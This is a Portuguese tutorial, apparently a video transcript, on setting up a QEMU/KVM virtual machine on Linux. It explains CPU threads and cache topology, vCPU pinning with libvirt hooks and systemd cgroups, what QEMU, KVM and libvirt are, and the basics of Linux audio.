<p>Vamos lá, quando falamos CPU, estamos falando deste quadradinho aqui. Seja da Intel ou da AMD, é o processador central. Porém, quando o sistema operacional fala em &ldquo;CPU&rdquo; está se referindo a um único núcleo ou a uma única thread. Vocês já devem ter visto que a CPU do seu PC ou notebook pode ter 4 núcleos e 8 threads. Isso porque a maioria das CPUs modernas suporta um troço chamado HyperThreading, onde cada núcleo é compartilhado por até 2 threads. As duas ao mesmo tempo não conseguem funcionar em capacidade máxima, claro. </p>
<p>Só uma única thread consegue saturar um núcleo. Mas no dia a dia, raramente você está saturando tudo, então 2 threads conseguem compartilhar os recursos de um núcleo e simular 2 processamentos paralelos. Enfim, quando ver em Linux falar em CPU pense que é a thread. Meu Ryzen 9 tem 16 núcleos e 32 threads ou 32 CPUs. Isso porque bem antigamente, de fato uma CPU era só um núcleo. Só dos anos 2000 pra cá que começamos a explorar múltiplos núcleos no mesmo die, ou processador, que é o quadradinho na minha mão.</p>
<p>Aproveitando, num terminal todo mundo sabe que se digitar <code>ls</code> vai listar os arquivos no diretório, certo? Mas sabiam que existem vários programas <code>ls</code> -alguma coisa? Faz o teste, abre um terminal, digita <code>ls</code> e dá &ldquo;tab&rdquo;. Olha no meu, vários comandos diferentes. Nos videos de Linux já mostrei o <code>lsblk</code> lembram? Que lista os dispositivos de bloco do sistema, no caso seus HDs ou SSDs. Olha só os meus. E se você usa Snap pra instalar programas vai ter essa poluição de dispositivos de loop aqui, mas pode ignorar isso.</p>
<p>Pra agora nos interessa <code>lscpu</code> com a opção &ldquo;-e&rdquo;. Ele lista todas as threads disponíveis no meu processador, o clock máximo e mínimo que aguenta e o clock atual no final. Não sei se sabiam disso mas hoje em dia os clocks são controlados dinamicamente. Eles aumentam ou diminuem dependendo da carga que mandarmos. Isso é importante pra economizar energia. Se estamos fazendo quase nada, o chip elege deixar as threads em clock mais baixo.</p>
<p>Alguém poderia pensar: &ldquo;boa, quer dizer que quando eu mandar fazer coisas pesadas como renderizar video, vai subir todo mundo pra esse máximo aqui então?&rdquo; E na realidade não. Depende do governador do sistema operacional, depende dos algoritmos e sensores de Precision Boost da AMD ou Turbo Boost da Intel. Eles tentam ser mais inteligentes do que só subir tudo pro máximo ou desligar tudo pro mínimo. </p>
<p>Se eu forçasse todos pra ficar em 5Ghz, não ia aguentar muito tempo, porque todos os núcleos iam consumir mais energia, e esquentar muito mais. E todos atingindo temperaturas altas demais, tipo mais de 90 graus Celsius, o processador vai entrar em modo de proteção e fazer o que se chama de throttling, que é diminuir a energia e diminuir o clock pra conseguir resfriar.</p>
<p>Por isso que parece contra o bom senso, mas muitos fazem undervolting. Que é limitar a energia e evitar de chegar em clocks tão altos. Mas qual a vantagem disso, não fica mais lento? Pensa assim, é melhor todas as threads funcionarem por mais tempo abaixo de 4Ghz do que ir pra 5Ghz, esquentar demais, e daí a CPU forçar todo mundo pra baixo de 2Ghz até esfriar. Entenderam? Devagar e sempre é melhor que pico rápido e cansa rápido. Em notebook que não tem espaço, undervolting é a única solução. Em PC com espaço a solução é colocar um cooler melhor.</p>
<p>Enfim, clocks não importam pra hoje, mas se não conheciam é legal estudar as configurações de Precision Boost ou Turbo Boost que tem na UEFI da sua placa mãe. Placas baratas não permitem mexer muita coisa, mas as placas mais avançadas e mais caras costumam dar mais opções de tensão, corrente, e tudo mais que afetam os clocks. Mas vamos voltar pro <code>lscpu</code>. Pra fazer a tal pinagem de VCPU pra CPU real precisamos saber o número real das CPUs que é a primeira coluna, de 0 até 31. Mas os núcleos ou cores de verdade é a 4a coluna. Veja como cada núcleo tem 2 threads como expliquei agora pouco.</p>
<p>Mas e aí, é só pegar 16 quaisquer, colocar lá naquele XML e já era? Não, pra saber baixamos o pacote hwloc. Execute <code>lstopo</code> no terminal e vai aparecer uma janela gráfica parecida com essa. No lado direito mostra os dispositivos conectados em pistas ou lanes de PCI. São coisas como SSDs. Isso também não interessa, o importante é bloco maior na esquerda. Entenda, pra uma CPU, uma thread, funcionar de forma eficiente, ela precisa ter acesso aos dados que vai processar no momento em que for processar.</p>
<p>Se toda instrução tiver que pausar e esperar procurar na RAM e trazer pra CPU, tudo seria lento, a CPU ia desperdiçar clocks não fazendo nada além de esperar. Isso porque RAM é super lenta comparado com um registrador, que é quase instantâneo. Mesmo minha CPU rodando na média a 3.4Ghz e estar usando DDR4 de 4 Ghz, não é só o clock. O barramento é lento, tem distância física da CPU até os pentes de memória, tudo isso afeta o desempenho. Inclusive é uma das razões de notebooks modernos soldarem RAM na placa mãe: pra diminuir a distância física.</p>
<p>Pra evitar que uma CPU fique com fome de dados e pause, cada uma delas tem um pequeno cache L1, nesse caso de 32 kilobytes e um cache L2 de meio megabyte. Parece pouco, mas é bastante coisa pra uma única CPU e elas ficam literalmente grudados a milimetro de distância só. Se tudo correr bem, esses caches vão ter os dados que as CPUs precisam, na hora que precisam e nada pausa. L1 é a memória mais rápida e mais cara de todas, por isso tem tão pouco. L2 é um pouco menos rápido, e L3 é mais lento que L2. Preste atenção nesse diagrama.</p>
<p>A parte importante é que diferente de L1 e L2 que são exclusivos por CPU, o cache L3 é compartilhado com um grupo de CPUs, no caso temos dois blocos de L3 de 32 megabytes cada, compartilhado entre 8 núcleos cada. Digamos que tem uma thread de C ou Java rodando no núcleo 0. Por alguma razão o scheduler do Linux gostaria de usar o núcleo 0 pra outra coisa e resolve mover a thread que ainda não acabou do núcleo 0 pro núcleo 3. </p>
<p>Como ambas compartilham o mesmo cache L3, se o estado dessa thread, quer dizer, imagine as variáveis dentro da thread, estiverem no L3, basta parar a thread do núcleo 0 e reiniciar no núcleo 3 que vai continuar de onde parou sem problemas. Mas digamos que o scheduler do Linux fosse burro e mandasse pro núcleo 15, o último.</p>
<p>Antes de conseguir iniciar a thread no núcleo 15, ele precisa primeiro copiar o bloco de memória do 1o cache L3 pro segundo cache L3, senão a nova thread não sabe como continuar o trabalho. Sacaram? Um scheduler de threads tem que ser inteligente pra gerenciar esse tipo de coisa. E essa é a dica pra podermos pinar, ou seja, reservar CPUs pra nossa máquina virtual: queremos pegar todas as CPUs embaixo do mesmo cache L3. No meu caso, os núcleos de 0 a 7 ou de 8 a 15. Vamos voltar pro terminal e ver a saída do comando <code>lscpu</code> de novo.</p>
<p>Eu arbitrariamente escolho usar os núcleos de 8 a 15 e nessa listagem significa pegar as threads de 8 a 15 e de 24 a 31. Agora vamos voltar pra configuração XML. Estão vendo aqui os atributos &ldquo;cpuset&rdquo;? São exatamente as threads de 8 a 15 e de 24 a 31. Eu mapeei pras CPUs virtuais ou VCPUs de 0 a 15. Essa configuração vai variar se eu quiser passar menos CPUs, ou se o processador tiver menos núcleos e com outra topologia de caches L3, por isso precisa usar os comandos <code>lscpu</code> e <code>lstopo</code> pra decidir no seu sistema. Cada um vai ser diferente dependendo do modelo de processador.</p>
<p>Essa opção &ldquo;emulatorpin&rdquo; é pra dizer pro controlador da máquina virtual onde rodar as tarefas que permitem a máquina virtual funcionar. Mas até aqui só dissemos pra máquina virtual, quais CPUs usar. Meu host Manjaro ainda enxerga todas as 32 threads e pode querer usar as mesmas que mandei o guest usar. Como fazer pro host só usar os núcleos do primeiro cache L3? De 0 a 7? Vamos de volta pra Wiki.</p>
<p>Tem várias formas diferentes,  poderia permanentemente limitar meu Linux a só usar os núcleos de 0 a 7, mas isso seria um desperdício quando não estiver usando máquina virtual. Em vez disso quero forçar o Manjaro a se limitar só quando iniciar a máquina virtual e pra isso  posso usar o SystemD. Lembra que SystemD faz bem mais que só gerenciar daemons no boot? Aqui ele gerencia os cgroups do sistema. Chegou a hora de explicar mais alguns termos que vocês não conhecem.</p>
<p>Antes de criarmos a máquina virtual falei que precisava instalar os pacotes do virt-manager, que é a interface gráfica pra criar a máquina virtual, mas também instalei qemu e libvirt sem explicar. Tentando ser curto é assim, o emulador propriamente dito é o QEMU que literalmente significa &ldquo;Quick Emulator&rdquo;. Ele quem vai simular a máquina virtual, rodar os programas virtualizados e passar instrução a instrução pra máquina de verdade por baixo. O equivalente VirtualBox ou VMWare ou Hyper-V seria o QEMU.</p>
<p>Na realidade ele faz bem mais que isso. Uma das principais funções é fazer tradução binária dinâmica. Pra quem usa Mac é o equivalente ao Rosetta. E pra quem não usa Mac, o que é Rosetta? 2 anos atrás a Apple saiu fora de usar processadores da Intel, que é padrão x86-64 e passou a usar chips M1 que eles mesmos desenvolveram, derivado de ARM. É meio como pular de um chip que fala português pra outro que fala chinês.</p>
<p>Funciona assim, digamos que eu tenha um programa compilado pra x86. Um trecho desse programa, em assembly poderia ser como esse aqui na tela. Não sei assembly de x86 então pedi pro ChatGPT gerar esse trecho pra mim, de bater o olho parece fazer sentido. Daí pedi pra escrever como seria a tradução que o QEMU faria pra  ARM64 e ele me deu esse outro trecho.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>
; x86-64

mov rax, [rdi] ; Load the value at the address in rdi into rax

mov rbx, [rsi] ; Load the value at the address in rsi into rbx

cmp rax, rbx   ; Compare the values in rax and rbx

jg greater     ; If rax is greater than rbx, jump to the &#34;greater&#34; label

jmp done       ; Jump to the &#34;done&#34; label

  

greater:

  mov [rdi], rbx ; Store the value in rbx at the address in rdi

  jmp done       ; Jump to the &#34;done&#34; label

  

done:

  ret            ; Return from the function</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>
; arm64

ldr x0, [x1] ; Load the value at the address in x1 into x0

ldr x2, [x3] ; Load the value at the address in x3 into x2

cmp x0, x2   ; Compare the values in x0 and x2

b.gt greater ; If x0 is greater than x2, jump to the &#34;greater&#34; label

b done      ; Jump to the &#34;done&#34; label

  

greater:

  str x2, [x1] ; Store the value in x2 at the address in x1

  b done       ; Jump to the &#34;done&#34; label

  

done:

  ret          ; Return from the function</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Estão vendo como os mnemônicos são diferentes? Em Intel existe a instrução <code>mov</code> pra carregar valores, mas em Arm a instrução se chama <code>ldr</code>. Se assistiram meus videos da playlist de Como Computadores Funcionam eu falo mais sobre como Assembly e instruções de baixo nível como esses funcionam, assistam lá depois.</p>
<p>Naquele pacote <code>qemu-desktop</code> que instalamos vem só dois emuladores: o <code>qemu-system-x86_64</code> e o <code>qemu-system-i386</code> que são os emuladores de plataforma Intel de 64 bits e 32 bits. Mas existem outros emuladores pra diversas plataformas como ARM. Pra isso tem que instalar o pacote <code>qemu-emulators-full</code> ou direto tudo com <code>qemu-full</code> e aí ganhamos emuladores como <code>qemu-system-aarch64</code> pra ARM, mas olha a lista: tem os antigos MIPS, Alpha ou até Motorola 68000 mas tem coisa nova como Risc V. Quem tem interesse em programar baixo nível pra Risc V, pode criar máquina virtual com esse emulador. Leiam também a página de Wiki específica de QEMU depois pra aprender tudo.</p>
<p>Traduzir de uma arquitetura pra outra é bem lento mas no caso, pra rodar Windows de Intel em cima de um Linux compilado pra Intel, não tem tradução nenhuma envolvida. Só precisa pegar a instrução da máquina virtual e passar direto pra máquina real embaixo, é bem menos trabalhoso e por isso a performance é quase inteira mantida. Uma CPU virtual funciona uns 15 a 20% mais devagar por conta dessa intermediação do QEMU no meio. Mas sem configurar nada, mesmo de Intel pra Intel, um Windows rodaria lento emulado, e o culpado não é o QEMU.</p>
<p>A culpa são dos dispositivos da máquina: memória, HD, rede, e tudo mais é virtualizado em software, porque a máquina virtual não pode acessar o hardware diretamente, só a kernel do Linux rodando de verdade no metal é que pode. Por isso a AMD e Intel criaram as instruções VT-d, pra permitir passar acesso aos dispositivos reais diretamente, sem precisar gambiarrar com software no meio. Por isso lá no começo o Wiki manda checar se seu sistema suporta VT-d e VT-x.</p>
<p>Tendo essas instruções agora é tarefa da kernel do sistema operacional usar. No Windows isso é responsabilidade do Hyper-V. No MacOS é o &ldquo;Hypervisor.framework&rdquo;. Num BSD Unix o nome é bizarro, se chama &ldquo;bhyve&rdquo;, que significa &ldquo;BSD Hypervisor&rdquo;. Um hypervisor dá acesso às instruções VT-d e VT-x da Intel ou AMD-V da AMD, permitindo criar e gerenciar múltiplas máquinas virtuais rodando em cima deles. No Linux, o módulo responsável por isso se chama KVM, que significa &ldquo;Kernel Virtual Machine&rdquo;.</p>
<p>Eu detesto esse nome porque KVM também significa Keyboard, Video and Mouse e é uma caixinha onde conectamos, teclado, video e mouse, e podemos ligar em vários PCs diferentes, tipo numa lan house ou data center. Daí é só virar uma chavinha pra escolher qual PC queremos controlar. O nome deve ter sido de propósito porque o Kernel Virtual Machine ou KVM de Linux serve pra justamente gerenciar múltiplas máquinas também, só que virtuais.</p>
<p>Só o QEMU sozinho seria lento, pela falta de acesso ao hardware. Mas ele aceita usar aceleradores. E o KVM pode ser usado como acelerador e por isso chamamos a solução de &ldquo;QEMU/KVM&rdquo;. Entendido isso falta só mais um componente, o tal do &ldquo;libvirt&rdquo; que é o daemon que habilitamos no SystemD. KVM não é o único hypervisor que existe no Linux. Um pouco antes dele, existia outro chamado Xen, e tem alternativas comerciais, como o VMWare. </p>
<p>Seria um saco ter que saber os comandos específicos de cada um, e é pra isso que o libvirt serve: ele é o intermediário que fala com hypervisors de Linux. Eu posso controlar qualquer um com o mesmo comando <code>virsh</code> que mencionei antes. A interface gráfica &ldquo;Virt Manager&rdquo; que usei pra criar a máquina virtual de exemplo, por baixo, provavelmente usa esse comando, e eu poderia ter criado a máquina direto do terminal com esse comando também, só fazer <code>virsh create ...</code></p>
<p>O comando virsh é complexo, posso controlar todos os aspectos de um ambiente virtual come ele. Criar redes virtuais, pools de storage, snapshots e mais. Vale a pena estudar depois, mas pra hoje eu preciso de bem pouca coisa dele. Enfim, agora vocês sabem o que é libvirt, KVM e QEMU.</p>
<p>Antes dessa longa tangente eu tinha parado no problema onde já configuramos a máquina virtual pra só falar com as threads de 16 a 31 e agora precisamos obrigar o scheduler do Linux host a só falar com as threads de 0 a 15. Dessa forma cada sistema tem seu grupo de núcleos isolados. Isso é importante porque senão do nada o guest pode começar a engasgar quando o host ficar roubando as threads do guest.</p>
<p>Como falei antes, o libvirt é responsável por falar com o KVM pra fazer coisas como iniciar ou parar uma máquina virtual. Depois que minha máquina estiver configurada direitinho, é só fazer <code>virsh start</code> e o nome da máquina e pra desligar forçado, equivalente a apertar o botão de força de um PC, é só executar <code>virsh destroy</code>.  Felizmente o libvirt tem eventos e hooks, ou ganchos, onde podemos pendurar scripts. </p>
<p>A Wiki nos manda criar o script <code>/etc/libvirt/hooks/qemu</code>. Toda vez que o QEMU iniciar ou parar, o libvirt vai chamar esse script. Se receber o comando <code>started</code> usamos o systemd pra ajustar a propriedade AllowedCPU de 3 cgroups pra permitir usar só as threads de 0 a 15. Dessa forma finalmente garantimos que de 16 a 31 vai mesmo ser só pra máquina virtual. E quando vier o comando &ldquo;release&rdquo;, ajustamos pra voltar a permitir usar todos os núcleos. Agora é só reiniciar o serviço <code>libvirtd</code> e pronto. Isso termina a longa configuração de pinar VCPUs.</p>
<p>Vamos testar pra ver se funciona. Primeiro, sem nenhuma máquina virtual rodando, vou executar o programa GeekBench, que todo canal no YouTube que faz reviews de processador usa, e pular direto pros testes de multi-core. Olha o htop rodando em outro terminal e sim, todas as minhas 31 threads estão sendo trabalhadas. Podemos cancelar e agora abrir uma máquina virtual qualquer que já tenho configurado. Fazendo isso o libvirt vai atirar o evento de started pro hook e executar aqueles comandos de systemd.</p>
<p>Pronto, o guest tá carregado, voltamos pro terminal e executamos o GeekBench de novo. Vou pular pros testes de multi-core como antes. Voltamos pro htop: só as threads de 0 a 15 estão saturados. As threads de 16 a 31 estão sem fazer nada, reservados pro guest poder usar sem ninguém atrapalhando. Sacaram? É assim que garantimos que se eu estiver jogando na máquina guest e o Host decidir processar alguma coisa, não vai sequestrar uma thread minha e causar engasgos no meu jogo. Conseguimos controlar o processador com sucesso!</p>
<p>Mas o que são aqueles system.slice, user.slice e init.scope? São control groups, ou cgroups. Cgroups é um recurso de Linux pra organizar processos em agrupamentos, daí podemos limitar acesso a recursos pro grupo todo. Nesse caso estamos limitando acesso à CPU pra esses 3 grupos e a kernel vai enforçar isso. Aliás, pra quem não sabia, é combinando cgroups com outro recurso da kernel, namespaces, que começa a formar as bases pra containers como Docker. Mas isso fica pra outro episódio.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#!/bin/sh</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">command</span><span class="o">=</span><span class="nv">$2</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> <span class="s2">&#34;</span><span class="nv">$command</span><span class="s2">&#34;</span> <span class="o">=</span> <span class="s2">&#34;started&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    systemctl set-property --runtime -- system.slice <span class="nv">AllowedCPUs</span><span class="o">=</span>0-15
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    systemctl set-property --runtime -- user.slice <span class="nv">AllowedCPUs</span><span class="o">=</span>0-15
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    systemctl set-property --runtime -- init.scope <span class="nv">AllowedCPUs</span><span class="o">=</span>0-15
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">elif</span> <span class="o">[</span> <span class="s2">&#34;</span><span class="nv">$command</span><span class="s2">&#34;</span> <span class="o">=</span> <span class="s2">&#34;release&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    systemctl set-property --runtime -- system.slice <span class="nv">AllowedCPUs</span><span class="o">=</span>0-31
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    systemctl set-property --runtime -- user.slice <span class="nv">AllowedCPUs</span><span class="o">=</span>0-31
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    systemctl set-property --runtime -- init.scope <span class="nv">AllowedCPUs</span><span class="o">=</span>0-31
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Mais um detalhe, esse hook vai rodar toda vez que qualquer máquina for iniciada ou parada pelo QEMU. No meu caso sempre pretendo criar máquinas virtuais com exatamente os mesmos núcleos pinados, então pode rodar sempre. Mas se você quiser máquinas com mais ou menos núcleos, precisa de um hook diferente pra cada máquina. E isso é simples. Em vez do script anterior de systemd em <code>/etc/libvirt/hooks/qemu</code> eu colocaria este outro script mais complicadinho:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>
GUEST_NAME=&#34;$1&#34;

HOOK_NAME=&#34;$2&#34;

STATE_NAME=&#34;$3&#34;

MISC=&#34;${@:4}&#34;

  

BASEDIR=&#34;$(dirname $0)&#34;

  

HOOKPATH=&#34;$BASEDIR/qemu.d/$GUEST_NAME/$HOOK_NAME/$STATE_NAME&#34;

  

set -e # If a script exits with an error, we should as well.

  

# check if it&#39;s a non-empty executable file

if [ -f &#34;$HOOKPATH&#34; ] &amp;&amp; [ -s &#34;$HOOKPATH&#34; ] &amp;&amp; [ -x &#34;$HOOKPATH&#34; ]; then

    eval \&#34;$HOOKPATH\&#34; &#34;$@&#34;

elif [ -d &#34;$HOOKPATH&#34; ]; then

    while read file; do

        # check for null string

        if [ ! -z &#34;$file&#34; ]; then

          eval \&#34;$file\&#34; &#34;$@&#34;

        fi

    done &lt;&lt;&lt; &#34;$(find -L &#34;$HOOKPATH&#34; -maxdepth 1 -type f -executable -print;)&#34;

fi</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Não vou explicar linha a linha, é um script de shell. Se você entende de Linux é fácil. Toda vez que o QEMU iniciar uma máquina virtual, esse script vai rodar. Vai pegar o nome da máquina, digamos que seja  <code>win11-video</code> e vai procurar o esse script <code>/etc/libvirt/hooks/qemu.d/win11-video/qemu</code> e lá podemos colocar aquele script anterior de systemd mas agora ajustando exatamente quais CPUs vou permitir pro host pra essa máquina virtual em particular, sacaram?</p>
<p>O perfil de boost da CPU é controlado por uma coisa chamada Governador da Kernel. Sabe nas configurações de energia de qualquer sistema operacional, especialmente em notebooks, que você escolhe Balanceado, Modo de Economia ou Alta Performance? É isso. Normalmente o Linux se configura em perfil Balanceado, mas eu gostaria de forçar pra perfil de performance antes de iniciar meu Windows de games. Pra isso existe o comando <code>cpupower</code>. Só rodar <code>cpupower frequency-set -g performance</code> e pronto. Estude sobre <code>cpupower</code> depois pra descobrir se sua CPU tá em modo balanceado ou economia e você nem sabia. </p>
<p>Voltando pra configuração XML, vou copiar e colar vários blocos. Isso tudo tá explicado na Wiki mas não compensa ir um a um. Em resumo, o bloco de features declara quais funcionalidades essa máquina vai ter, como ACPI que é um padrão pra controlar energia da máquina. Relevante aqui é esse trecho de KVM com estado escondido. Isso é uma tentativa do KVM de tentar esconder do sistema virtualizado que ele está numa máquina virtual. Antigamente GPUs da NVIDIA davam erro se descobriam que estavam sendo virtualizados, mas nos modelos mais novos isso não acontece. Talvez se tentar usar algo mais velho que uma GTX talvez precise, e também desse outro atributo de vendor_id em cima.</p>
<p>Nos blocos de baixo, importante é deixar CPU em modo &ldquo;host-passthrough&rdquo; e checar que a topologia está de acordo com todo o trampo que fizemos no bloco de pinagem antes. Aqui tá certinho, 1 soquete, com 1 processador, 8 núcleos e 2 threads cada, totalizando as 16 threads que pinamos. No meu caso que estou usando AMD Ryzen, precisa dessa feature &ldquo;topoext&rdquo;, senão não dá pra usar hyperthreading. Em Intel não precisa. E pronto, acho que isso resolve a configuração da CPU. O Virt-manager podia já fazer tudo isso automaticamente pra gente, mas até lá precisa saber esses detalhes todos pra tirar o máximo do processador. Por isso precisa ler a Wiki em detalhes.</p>
<p>Continuando, o Virt-manager já adicionou alguns dispositivos que podem ser estranhos como esse Display Spice e Video QXL. QXL significa &ldquo;Qemu eXtended Logical&rdquo; e é uma placa de video virtual. Podemos escolher outros modelos e eu preferi deixar em Virtio que tem essa opção de aceleração 3D. Não espere nenhuma mágica disso ser capaz de rodar games, mas já é alguma coisa. Esse dispositivo é necessário em máquinas onde não temos ou não queremos dedicar placa de video de verdade só pra ela como estou fazendo.</p>
<p>Na real, fiz um teste bem besta. Bootei o Ubuntu virtualizado com Video QXL e testei abrir o firefox e carregar um demo de WebGL. Daí eu desligo, mudo de QXL pra Virtio com aceleração 3D e não faz nenhuma diferença, tenho os mesmos quadros por segundo. Das duas uma, ou o QXL também faz aceleração 3D ou o Virtio não tá acelerando nada, mas seja lá qual for o caso, o resultado parece o mesmo então meio que tanto faz. Até porque o objetivo de usar esses dispositivos virtuais não é fazer nada pesado graficamente como animação 3D ou jogos. Pra renderizar a interface gráfica de janelas, a velocidade é mais que suficiente.</p>
<p>SPICE é um protocolo pra acessar a interface gráfica remotamente, mais ou menos como um VNC ou Remote Desktop de Windows ou mesmo passar X via SSH pra quem é de Linux, mas é mais performático. Nunca vai ser rápido o suficiente pra games, mas pro dia a dia é suficiente. Então, Display SPICE é o monitor virtual que vai mostrar o que sai da placa virtual com Virtio. E vai aparecer aqui nessa aba com ícone de monitor. Deixa eu mostrar como é com outra máquina virtual que já tinha configurado que é um Ubuntu. Nesse Ubuntu não passei minha NVIDIA, então só tem a placa virtual mesmo, já que uso pra testes e não pra jogar nem nada mais pesado. (liga máquina)</p>
<p>No meu caso, salvo pra casos de sistemas de testes como esse Ubuntu, pretendo passar a placa de video real da NVIDIA pra dentro do guest. Então depois que instalar o sistema operacional e os drivers, vou tirar o Video Virtio e o Display SPICE. Mas um terceiro dispositivo que ainda tenho um pouco de dúvidas é o Console PTY. Isso é um terminal virtual de texto que conecta num pseudo-terminal PTY do host. É uma das formas do host se comunicar com o guest e vice-versa. Antes podia arrancar isso fora, mas não sei se teve alguma atualização que sem o console eu não tava conseguindo bootar a máquina virtual direito, então só deixo lá agora.</p>
<p>Agora vem o dispositivo de som. Pra maioria dos casos pode deixar o que vem por padrão já. Ele emula um dispositivo ICH9 que permite entrada e saída em estéreo. Se precisar usar microfone, acho que essa é a melhor opção. Mas se tiver um home theater, no caso um receiver ligado no PC com configuração de surround ou 5.1, que significa duas caixas laterais frontais, duas caixas traseiras surround, um central pra voz e um sub-woofer que é esse .1, daí precisa mudar no XML pro modelo ser &ldquo;usb&rdquo;. Áudio via USB desse dispositivo suporta saída 5.1 mas não fornece entrada.</p>
<p>Áudio em Linux é outro ninho de ratos chato mas no geral, na maioria das distribuições Linux funciona assim: primeiro tem os drivers pro hardware de áudio, seja o que vem embutido na sua placa mãe ou dispositivos externos. Esses drivers são chamados de ALSA, que significa Advanced Linux Sound Architecture. Mas os aplicativos, como um tocador de música ou video, não fala diretamente com esses drivers.</p>
<p>Entre os aplicativos e os drivers existe um intermediário que roda em userland que normalmente é o Pulseaudio. Tem também o Jack mas nunca vi o Jack em distros populares. O Pulseaudio é quem permite múltiplos aplicativos acessarem saída de áudio, organiza e centraliza o controle de múltiplos streams. Sabe quando abre a configuração de som num GNOME  e ele deixa controlar o volume independente pra cada aplicativo? É o Pulseaudio. </p>
<p>Eu não acompanhei a evolução, mas parece que o Pulseaudio, sendo um sistema antigo e legado, envelheceu mal pra lidar com o aumento no uso de multimídia de aplicativos modernos, especialmente necessidades profissionais, como editores de música que precisam trabalhar com dezenas ou centenas de streams de áudio de uma só vez e exigem baixíssima latência. Latência em áudio é crucial. Imagina um notebook de DJ no meio de um show enorme, e do nada latência dá um pico, trava e quebra o som no meio do show por 1 segundo. É o tipo de coisa que jamais pode acontecer. É um dos pontos fortes do MacOS, por isso todo mundo usa Macbooks em shows.</p>
